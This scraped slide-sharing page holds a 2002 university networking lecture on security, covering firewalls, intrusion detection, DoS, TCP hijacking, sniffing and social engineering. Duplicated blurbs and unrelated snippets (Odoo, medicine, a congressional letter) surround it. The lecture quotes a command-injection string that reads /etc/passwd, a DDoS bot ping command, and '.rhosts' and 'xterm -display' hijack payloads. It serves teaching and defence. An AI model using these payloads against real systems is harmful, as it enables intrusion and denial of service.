Network Security, What is security?
Why do we need security?
Who is vulnerable? Common security attacks and countermeasures, Firewalls & Intrusion Detection Systems
Denial of Service Attacks
TCP Attacks
Packet Sniffing
Social Problems
Network security consists of the provisions and policies adopted by a network administrator to prevent and monitor unauthorized access, misuse, modification, or denial of a computer network and network-accessible resources.
Network Security, What is security?
Why do we need security?
Who is vulnerable? Common security attacks and countermeasures, Firewalls & Intrusion Detection Systems
Denial of Service Attacks
TCP Attacks
Packet Sniffing
Social Problems
Network security consists of the provisions and policies adopted by a network administrator to prevent and monitor unauthorized access, misuse, modification, or denial of a computer network and network-accessible resources.
[CLASS 2014] Palestra Técnica - Michael FirstenbergTI Safe
Título da Palestra: Inovando na segurança de perímetro industrial: revolucionando a segurança de perímetro SCADA com tecnologias que são mais fortes que Firewalls
Presentation by Charl van der Walt at INFO SEC Africa 2001.
The presentation begins with a case study of a DoS attack launched on a number of high profile sites by the canadian teen "Mafiaboy". An explanation of DoS and DDoS given. The impact of DDoS in South Africa is also discussed. The presentation ends with a series of discussions on DDoS countermeasures.
the computer industry has developed a portfolio of security standards to help to secure data and to prove that it is secure. Businesses that do not have demonstrable security policies to protect their data will be in breach of these standards and penalized accordingly.
“I have found that inadequate network security is usually caused by a failure to implement security policies and make use of security tools that are readily available. It's vital that companies complete professional risk assessments and develop comprehensive security plans and infrastructures that are publicly supported by upper management.”
—Mark Carter, COO, Core Facts, LLC, Data Recovery and Analysis Firm
The Industrial IoT depends on connectivity and information exchange. Much of the business value derives from the ability to have independent systems share information in order to derive knowledge, make "smart decisions", and offer behavior and functionality never before possible.
Many industrial systems were designed with a focus on reliability and safety at a time were implicit trust of all components and communication was the norm. Restricting physical access is currently the only practical method for protecting this existing critical infrastructure. This includes the electrical power grid, process control, transportation, or manufacturing systems. This is changing with increased connectivity to the Internet and personal computers as well as awareness of malicious insider threats. Many industrial systems are being (or want to be) connected to external networks using standard technologies like Ethernet and the Internet Protocol Suite (TCP/UDP/IP). These technologies make systems more functional and efficient, unfortunately they also open the critical infrastructure to cyber attacks.
New IIoT Systems are being designed with security as a key concern. New systems can leverage a solid set of security technologies and building blocks for Authentication, Cryptography, Integrity, etc. However these security technologies must be used correctly and in ways that do not disrupt the performance or access to the legitimate applications/devices, yet limit legitimate access to just the needed information (to minimize the insider threats) and denies access to all others. Adding to this difficulties the new systems need to co-exist and (securely) exchange information with the already-deployed legacy systems which were built without such security elements.
Secure DDS (a recent standard from the OMG) is a "secure connectivity middleware" technology that can be used to address these three needs: (1) Build modern secure IIoT systems, (2) Secure legacy Industrial systems being connected on the Internet, and (3) Securely bridge between new and legacy systems. Secure DDS extends the proven Data-Distribution Service (DDS) and Real-Time Publish-Subscribe Protocol (DDS-RTPS) standards with enterprise-grade authentication, encryption and fine-grained security controls while maintaining the peer-to-peer, robustness and scalability features (including secure multicast) that have made DDS a clear choice for critical infrastructure systems.
This presentation introduces the DDS Security specification and provide describe several use-cases that exemplify how these standards are deployed in real-world applications.
This PPT consist of What is Network, Active & Passive Threats, Network basics, Network Scanning, Different types of attacks, Firewall Configuration, IDS, DDoS, DoS attacks
Unidirectional Security, Andrew Ginter of Waterfall Security Digital Bond
This presentation reviews the spectrum of perimeter solutions based on unidirectional technology - solutions that are being deployed to protect the safety and reliability of industrial control systems. Learn why the technology is truly unidirectional based on physics and different ways it can be used in SCADA and DCS.
Many practitioners find parts of the spectrum to be counter-intuitive. Further, some parts of the spectrum are straightforward to deploy, and others require that practitioners take some care to ensure that the results really are as strong as they should be. Technologies and techniques covered include unidirectional gateways, secure bypass, temporary/programmed gateway reversals, opposing gateways, secure remote access, and parallel operations and IT WANs.
[CLASS 2014] Palestra Técnica - Michael FirstenbergTI Safe
Título da Palestra: Inovando na segurança de perímetro industrial: revolucionando a segurança de perímetro SCADA com tecnologias que são mais fortes que Firewalls
Presentation by Charl van der Walt at INFO SEC Africa 2001.
The presentation begins with a case study of a DoS attack launched on a number of high profile sites by the canadian teen "Mafiaboy". An explanation of DoS and DDoS given. The impact of DDoS in South Africa is also discussed. The presentation ends with a series of discussions on DDoS countermeasures.
the computer industry has developed a portfolio of security standards to help to secure data and to prove that it is secure. Businesses that do not have demonstrable security policies to protect their data will be in breach of these standards and penalized accordingly.
“I have found that inadequate network security is usually caused by a failure to implement security policies and make use of security tools that are readily available. It's vital that companies complete professional risk assessments and develop comprehensive security plans and infrastructures that are publicly supported by upper management.”
—Mark Carter, COO, Core Facts, LLC, Data Recovery and Analysis Firm
The Industrial IoT depends on connectivity and information exchange. Much of the business value derives from the ability to have independent systems share information in order to derive knowledge, make "smart decisions", and offer behavior and functionality never before possible.
Many industrial systems were designed with a focus on reliability and safety at a time were implicit trust of all components and communication was the norm. Restricting physical access is currently the only practical method for protecting this existing critical infrastructure. This includes the electrical power grid, process control, transportation, or manufacturing systems. This is changing with increased connectivity to the Internet and personal computers as well as awareness of malicious insider threats. Many industrial systems are being (or want to be) connected to external networks using standard technologies like Ethernet and the Internet Protocol Suite (TCP/UDP/IP). These technologies make systems more functional and efficient, unfortunately they also open the critical infrastructure to cyber attacks.
New IIoT Systems are being designed with security as a key concern. New systems can leverage a solid set of security technologies and building blocks for Authentication, Cryptography, Integrity, etc. However these security technologies must be used correctly and in ways that do not disrupt the performance or access to the legitimate applications/devices, yet limit legitimate access to just the needed information (to minimize the insider threats) and denies access to all others. Adding to this difficulties the new systems need to co-exist and (securely) exchange information with the already-deployed legacy systems which were built without such security elements.
Secure DDS (a recent standard from the OMG) is a "secure connectivity middleware" technology that can be used to address these three needs: (1) Build modern secure IIoT systems, (2) Secure legacy Industrial systems being connected on the Internet, and (3) Securely bridge between new and legacy systems. Secure DDS extends the proven Data-Distribution Service (DDS) and Real-Time Publish-Subscribe Protocol (DDS-RTPS) standards with enterprise-grade authentication, encryption and fine-grained security controls while maintaining the peer-to-peer, robustness and scalability features (including secure multicast) that have made DDS a clear choice for critical infrastructure systems.
This presentation introduces the DDS Security specification and provide describe several use-cases that exemplify how these standards are deployed in real-world applications.
This PPT consist of What is Network, Active & Passive Threats, Network basics, Network Scanning, Different types of attacks, Firewall Configuration, IDS, DDoS, DoS attacks
Unidirectional Security, Andrew Ginter of Waterfall Security Digital Bond
This presentation reviews the spectrum of perimeter solutions based on unidirectional technology - solutions that are being deployed to protect the safety and reliability of industrial control systems. Learn why the technology is truly unidirectional based on physics and different ways it can be used in SCADA and DCS.
Many practitioners find parts of the spectrum to be counter-intuitive. Further, some parts of the spectrum are straightforward to deploy, and others require that practitioners take some care to ensure that the results really are as strong as they should be. Technologies and techniques covered include unidirectional gateways, secure bypass, temporary/programmed gateway reversals, opposing gateways, secure remote access, and parallel operations and IT WANs.
Biological screening of herbal drugs: Introduction and Need for
Phyto-Pharmacological Screening, New Strategies for evaluating
Natural Products, In vitro evaluation techniques for Antioxidants, Antimicrobial and Anticancer drugs. In vivo evaluation techniques
for Anti-inflammatory, Antiulcer, Anticancer, Wound healing, Antidiabetic, Hepatoprotective, Cardio protective, Diuretics and
Antifertility, Toxicity studies as per OECD guidelines
How to Make a Field invisible in Odoo 17Celine George
It is possible to hide or invisible some fields in odoo. Commonly using “invisible” attribute in the field definition to invisible the fields. This slide will show how to make a field invisible in odoo 17.
Introduction to AI for Nonprofits with Tapp NetworkTechSoup
Dive into the world of AI! Experts Jon Hill and Tareq Monaur will guide you through AI's role in enhancing nonprofit websites and basic marketing strategies, making it easy to understand and apply.
Model Attribute Check Company Auto PropertyCeline George
In Odoo, the multi-company feature allows you to manage multiple companies within a single Odoo database instance. Each company can have its own configurations while still sharing common resources such as products, customers, and suppliers.
Normal Labour/ Stages of Labour/ Mechanism of LabourWasim Ak
Normal labor is also termed spontaneous labor, defined as the natural physiological process through which the fetus, placenta, and membranes are expelled from the uterus through the birth canal at term (37 to 42 weeks
Embracing GenAI - A Strategic ImperativePeter Windle
Artificial Intelligence (AI) technologies such as Generative AI, Image Generators and Large Language Models have had a dramatic impact on teaching, learning and assessment over the past 18 months. The most immediate threat AI posed was to Academic Integrity with Higher Education Institutes (HEIs) focusing their efforts on combating the use of GenAI in assessment. Guidelines were developed for staff and students, policies put in place too. Innovative educators have forged paths in the use of Generative AI for teaching, learning and assessments leading to pockets of transformation springing up across HEIs, often with little or no top-down guidance, support or direction.
This Gasta posits a strategic approach to integrating AI into HEIs to prepare staff, students and the curriculum for an evolving world and workplace. We will highlight the advantages of working with these technologies beyond the realm of teaching, learning and assessment by considering prompt engineering skills, industry impact, curriculum changes, and the need for staff upskilling. In contrast, not engaging strategically with Generative AI poses risks, including falling behind peers, missed opportunities and failing to ensure our graduates remain employable. The rapid evolution of AI technologies necessitates a proactive and strategic approach if we are to remain relevant.
June 3, 2024 Anti-Semitism Letter Sent to MIT President Kornbluth and MIT Cor...Levi Shapiro
Letter from the Congress of the United States regarding Anti-Semitism sent June 3rd to MIT President Sally Kornbluth, MIT Corp Chair, Mark Gorenberg
Dear Dr. Kornbluth and Mr. Gorenberg,
The US House of Representatives is deeply concerned by ongoing and pervasive acts of antisemitic
harassment and intimidation at the Massachusetts Institute of Technology (MIT). Failing to act decisively to ensure a safe learning environment for all students would be a grave dereliction of your responsibilities as President of MIT and Chair of the MIT Corporation.
This Congress will not stand idly by and allow an environment hostile to Jewish students to persist. The House believes that your institution is in violation of Title VI of the Civil Rights Act, and the inability or
unwillingness to rectify this violation through action requires accountability.
Postsecondary education is a unique opportunity for students to learn and have their ideas and beliefs challenged. However, universities receiving hundreds of millions of federal funds annually have denied
students that opportunity and have been hijacked to become venues for the promotion of terrorism, antisemitic harassment and intimidation, unlawful encampments, and in some cases, assaults and riots.
The House of Representatives will not countenance the use of federal funds to indoctrinate students into hateful, antisemitic, anti-American supporters of terrorism. Investigations into campus antisemitism by the Committee on Education and the Workforce and the Committee on Ways and Means have been expanded into a Congress-wide probe across all relevant jurisdictions to address this national crisis. The undersigned Committees will conduct oversight into the use of federal funds at MIT and its learning environment under authorities granted to each Committee.
• The Committee on Education and the Workforce has been investigating your institution since December 7, 2023. The Committee has broad jurisdiction over postsecondary education, including its compliance with Title VI of the Civil Rights Act, campus safety concerns over disruptions to the learning environment, and the awarding of federal student aid under the Higher Education Act.
• The Committee on Oversight and Accountability is investigating the sources of funding and other support flowing to groups espousing pro-Hamas propaganda and engaged in antisemitic harassment and intimidation of students. The Committee on Oversight and Accountability is the principal oversight committee of the US House of Representatives and has broad authority to investigate “any matter” at “any time” under House Rule X.
• The Committee on Ways and Means has been investigating several universities since November 15, 2023, when the Committee held a hearing entitled From Ivory Towers to Dark Corners: Investigating the Nexus Between Antisemitism, Tax-Exempt Universities, and Terror Financing. The Committee followed the hearing with letters to those institutions on January 10, 202
Read| The latest issue of The Challenger is here! We are thrilled to announce that our school paper has qualified for the NATIONAL SCHOOLS PRESS CONFERENCE (NSPC) 2024. Thank you for your unwavering support and trust. Dive into the stories that made us stand out!
Acetabularia Information For Class 9 .docxvaibhavrinwa19
Acetabularia acetabulum is a single-celled green alga that in its vegetative state is morphologically differentiated into a basal rhizoid and an axially elongated stalk, which bears whorls of branching hairs. The single diploid nucleus resides in the rhizoid.
3. 15-441 Networks Fall 2002 3
Overview
What is security?
Why do we need security?
Who is vulnerable?
Common security attacks and countermeasures
– Firewalls & Intrusion Detection Systems
– Denial of Service Attacks
– TCP Attacks
– Packet Sniffing
– Social Problems
4. 15-441 Networks Fall 2002 4
What is “Security”
Dictionary.com says:
– 1. Freedom from risk or danger; safety.
– 2. Freedom from doubt, anxiety, or fear; confidence.
– 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building security
if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.
5. 15-441 Networks Fall 2002 5
What is “Security”
Dictionary.com says:
– 1. Freedom from risk or danger; safety.
– 2. Freedom from doubt, anxiety, or fear; confidence.
– 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building security
if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.
6. 15-441 Networks Fall 2002 6
What is “Security”
Dictionary.com says:
– 1. Freedom from risk or danger; safety.
– 2. Freedom from doubt, anxiety, or fear; confidence.
– 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building security
if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.
7. 15-441 Networks Fall 2002 7
What is “Security”
Dictionary.com says:
– 1. Freedom from risk or danger; safety.
– 2. Freedom from doubt, anxiety, or fear; confidence.
– 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building security
if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.
8. 15-441 Networks Fall 2002 8
Why do we need security?
Protect vital information while still allowing
access to those who need it
– Trade secrets, medical records, etc.
Provide authentication and access control for
resources
– Ex: AFS
Guarantee availability of resources
– Ex: 5 9’s (99.999% reliability)
9. 15-441 Networks Fall 2002 9
Who is vulnerable?
Financial institutions and banks
Internet service providers
Pharmaceutical companies
Government and defense agencies
Contractors to various government agencies
Multinational corporations
ANYONE ON THE NETWORK
10. 15-441 Networks Fall 2002 10
Common security attacks and
their countermeasures
Finding a way into the network
– Firewalls
Exploiting software bugs, buffer overflows
– Intrusion Detection Systems
Denial of Service
– Ingress filtering, IDS
TCP hijacking
– IPSec
Packet sniffing
– Encryption (SSH, SSL, HTTPS)
Social problems
– Education
11. 15-441 Networks Fall 2002 11
Firewalls
Basic problem – many network applications
and protocols have security problems that
are fixed over time
– Difficult for users to keep up with changes and
keep host secure
– Solution
• Administrators limit access to end hosts by using a
firewall
• Firewall is kept up-to-date by administrators
12. 15-441 Networks Fall 2002 12
Firewalls
A firewall is like a castle with a drawbridge
– Only one point of access into the network
– This can be good or bad
Can be hardware or software
– Ex. Some routers come with firewall functionality
– ipfw, ipchains, pf on Unix systems, Windows XP
and Mac OS X have built in firewalls
13. 15-441 Networks Fall 2002 13
Firewalls
Intranet
DMZ
Internet
Firewall
Firewall
Web server, email
server, web proxy,
etc
14. 15-441 Networks Fall 2002 14
Firewalls
Used to filter packets based on a combination of
features
– These are called packet filtering firewalls
• There are other types too, but they will not be discussed
– Ex. Drop packets with destination port of 23 (Telnet)
– Can use any combination of IP/UDP/TCP header
information
– man ipfw on unix47 for much more detail
But why don’t we just turn Telnet off?
15. 15-441 Networks Fall 2002 15
Firewalls
Here is what a computer with a default
Windows XP install looks like:
– 135/tcp open loc-srv
– 139/tcp open netbios-ssn
– 445/tcp open microsoft-ds
– 1025/tcp open NFS-or-IIS
– 3389/tcp open ms-term-serv
– 5000/tcp open UPnP
Might need some of these services, or might
not be able to control all the machines on the
network
16. 15-441 Networks Fall 2002 16
Firewalls
What does a firewall rule look like?
– Depends on the firewall used
Example: ipfw
– /sbin/ipfw add deny tcp from cracker.evil.org to
wolf.tambov.su telnet
Other examples: WinXP & Mac OS X have
built in and third party firewalls
– Different graphical user interfaces
– Varying amounts of complexity and power
17. 15-441 Networks Fall 2002 17
Intrusion Detection
Used to monitor for “suspicious activity” on a
network
– Can protect against known software exploits, like
buffer overflows
Open Source IDS: Snort, www.snort.org
18. 15-441 Networks Fall 2002 18
Intrusion Detection
Uses “intrusion signatures”
– Well known patterns of behavior
• Ping sweeps, port scanning, web server indexing, OS
fingerprinting, DoS attempts, etc.
Example
– IRIX vulnerability in webdist.cgi
– Can make a rule to drop packets containing the line
• “/cgi-bin/webdist.cgi?distloc=?;cat%20/etc/passwd”
However, IDS is only useful if contingency plans are
in place to curb attacks as they are occurring
19. 15-441 Networks Fall 2002 19
Minor Detour…
Say we got the /etc/passwd file from the IRIX
server
What can we do with it?
20. 15-441 Networks Fall 2002 20
Dictionary Attack
We can run a dictionary attack on the passwords
– The passwords in /etc/passwd are encrypted with the
crypt(3) function (one-way hash)
– Can take a dictionary of words, crypt() them all, and
compare with the hashed passwords
This is why your passwords should be meaningless
random junk!
– For example, “sdfo839f” is a good password
• That is not my andrew password
• Please don’t try it either
21. 15-441 Networks Fall 2002 21
Denial of Service
Purpose: Make a network service unusable,
usually by overloading the server or network
Many different kinds of DoS attacks
– SYN flooding
– SMURF
– Distributed attacks
– Mini Case Study: Code-Red
22. 15-441 Networks Fall 2002 22
Denial of Service
SYN flooding attack
Send SYN packets with bogus source address
– Why?
Server responds with SYN ACK and keeps state
about TCP half-open connection
– Eventually, server memory is exhausted with this state
Solution: use “SYN cookies”
– In response to a SYN, create a special “cookie” for the
connection, and forget everything else
– Then, can recreate the forgotten information when the
ACK comes in from a legitimate connection
24. 15-441 Networks Fall 2002 24
Denial of Service
SMURF
– Source IP address of a broadcast ping is forged
– Large number of machines respond back to
victim, overloading it
25. 15-441 Networks Fall 2002 25
Denial of Service
Internet
Perpetrator Victim
ICMP echo (spoofed source address of victim)
Sent to IP broadcast address
ICMP echo reply
26. 15-441 Networks Fall 2002 26
Denial of Service
Distributed Denial of Service
– Same techniques as regular DoS, but on a much larger
scale
– Example: Sub7Server Trojan and IRC bots
• Infect a large number of machines with a “zombie” program
• Zombie program logs into an IRC channel and awaits commands
• Example:
– Bot command: !p4 207.71.92.193
– Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000
– Sends 10,000 64k packets to the host (655MB!)
• Read more at: http://grc.com/dos/grcdos.htm
27. 15-441 Networks Fall 2002 27
Denial of Service
Mini Case Study – CodeRed
– July 19, 2001: over 359,000 computers infected
with Code-Red in less than 14 hours
– Used a recently known buffer exploit in Microsoft
IIS
– Damages estimated in excess of $2.6 billion
28. 15-441 Networks Fall 2002 28
Denial of Service
Why is this under the Denial of Service
category?
– CodeRed launched a DDOS attack against
www1.whitehouse.gov from the 20th to the 28th
of every month!
– Spent the rest of its time infecting other hosts
29. 15-441 Networks Fall 2002 29
Denial of Service
How can we protect ourselves?
– Ingress filtering
• If the source IP of a packet comes in on an interface
which does not have a route to that packet, then drop
it
• RFC 2267 has more information about this
– Stay on top of CERT advisories and the latest
security patches
• A fix for the IIS buffer overflow was released sixteen
days before CodeRed had been deployed!
30. 15-441 Networks Fall 2002 30
TCP Attacks
Recall how IP works…
– End hosts create IP packets and routers process
them purely based on destination address alone
Problem: End hosts may lie about other fields
which do not affect delivery
– Source address – host may trick destination into
believing that the packet is from a trusted source
• Especially applications which use IP addresses as a
simple authentication method
• Solution – use better authentication methods
31. 15-441 Networks Fall 2002 31
TCP Attacks
TCP connections have associated state
– Starting sequence numbers, port numbers
Problem – what if an attacker learns these
values?
– Port numbers are sometimes well known to begin
with (ex. HTTP uses port 80)
– Sequence numbers are sometimes chosen in
very predictable ways
32. 15-441 Networks Fall 2002 32
TCP Attacks
If an attacker learns the associated TCP
state for the connection, then the connection
can be hijacked!
Attacker can insert malicious data into the
TCP stream, and the recipient will believe it
came from the original source
– Ex. Instead of downloading and running new
program, you download a virus and execute it
33. 15-441 Networks Fall 2002 33
TCP Attacks
Say hello to Alice, Bob and Mr. Big Ears
34. 15-441 Networks Fall 2002 34
TCP Attacks
Alice and Bob have an established TCP
connection
35. 15-441 Networks Fall 2002 35
TCP Attacks
Mr. Big Ears lies on the path between Alice
and Bob on the network
– He can intercept all of their packets
36. 15-441 Networks Fall 2002 36
TCP Attacks
First, Mr. Big Ears must drop all of Alice’s
packets since they must not be delivered to
Bob (why?)
Packets
The Void
37. 15-441 Networks Fall 2002 37
TCP Attacks
Then, Mr. Big Ears sends his malicious
packet with the next ISN (sniffed from the
network)
ISN, SRC=Alice
38. 15-441 Networks Fall 2002 38
TCP Attacks
What if Mr. Big Ears is unable to sniff the
packets between Alice and Bob?
– Can just DoS Alice instead of dropping her
packets
– Can just send guesses of what the ISN is until it
is accepted
How do you know when the ISN is accepted?
– Mitnick: payload is “add self to .rhosts”
– Or, “xterm -display MrBigEars:0”
39. 15-441 Networks Fall 2002 39
TCP Attacks
Why are these types of TCP attacks so
dangerous?
Web server
Malicious user
Trusting web client
40. 15-441 Networks Fall 2002 40
TCP Attacks
How do we prevent this?
IPSec
– Provides source authentication, so Mr. Big Ears
cannot pretend to be Alice
– Encrypts data before transport, so Mr. Big Ears
cannot talk to Bob without knowing what the
session key is
41. 15-441 Networks Fall 2002 41
Five Minute Break
For your enjoyment, here is something
completely unrelated to this lecture:
42. 15-441 Networks Fall 2002 42
Packet Sniffing
Recall how Ethernet works …
When someone wants to send a packet to
some else …
They put the bits on the wire with the
destination MAC address …
And remember that other hosts are listening
on the wire to detect for collisions …
It couldn’t get any easier to figure out what
data is being transmitted over the network!
43. 15-441 Networks Fall 2002 43
Packet Sniffing
This works for wireless too!
In fact, it works for any broadcast-based
medium
44. 15-441 Networks Fall 2002 44
Packet Sniffing
What kinds of data can we get?
Asked another way, what kind of information
would be most useful to a malicious user?
Answer: Anything in plain text
– Passwords are the most popular
45. 15-441 Networks Fall 2002 45
Packet Sniffing
How can we protect ourselves?
SSH, not Telnet
– Many people at CMU still use Telnet and send their password in the
clear (use PuTTY instead!)
– Now that I have told you this, please do not exploit this information
– Packet sniffing is, by the way, prohibited by Computing Services
HTTP over SSL
– Especially when making purchases with credit cards!
SFTP, not FTP
– Unless you really don’t care about the password or data
– Can also use KerbFTP (download from MyAndrew)
IPSec
– Provides network-layer confidentiality
46. 15-441 Networks Fall 2002 46
Social Problems
People can be just as dangerous as
unprotected computer systems
– People can be lied to, manipulated, bribed,
threatened, harmed, tortured, etc. to give up
valuable information
– Most humans will breakdown once they are at
the “harmed” stage, unless they have been
specially trained
• Think government here…
47. 15-441 Networks Fall 2002 47
Social Problems
Fun Example 1:
– “Hi, I’m your AT&T rep, I’m stuck on a pole. I
need you to punch a bunch of buttons for me”
48. 15-441 Networks Fall 2002 48
Social Problems
Fun Example 2:
– Someone calls you in the middle of the night
• “Have you been calling Egypt for the last six hours?”
• “No”
• “Well, we have a call that’s actually active right now,
it’s on your calling card and it’s to Egypt and as a
matter of fact, you’ve got about $2000 worth of
charges on your card and … read off your AT&T card
number and PIN and then I’ll get rid of the charge for
you”
49. 15-441 Networks Fall 2002 49
Social Problems
Fun Example 3:
– Who saw Office Space?
– In the movie, the three disgruntled employees
installed a money-stealing worm onto the
companies systems
– They did this from inside the company, where
they had full access to the companies systems
• What security techniques can we use to prevent this
type of access?
50. 15-441 Networks Fall 2002 50
Social Problems
There aren’t always solutions to all of these problems
– Humans will continue to be tricked into giving out information they
shouldn’t
– Educating them may help a little here, but, depending on how bad
you want the information, there are a lot of bad things you can do to
get it
So, the best that can be done is to implement a wide variety
of solutions and more closely monitor who has access to
what network resources and information
– But, this solution is still not perfect
51. 15-441 Networks Fall 2002 51
Conclusions
The Internet works only because we implicitly
trust one another
It is very easy to exploit this trust
The same holds true for software
It is important to stay on top of the latest
CERT security advisories to know how to
patch any security holes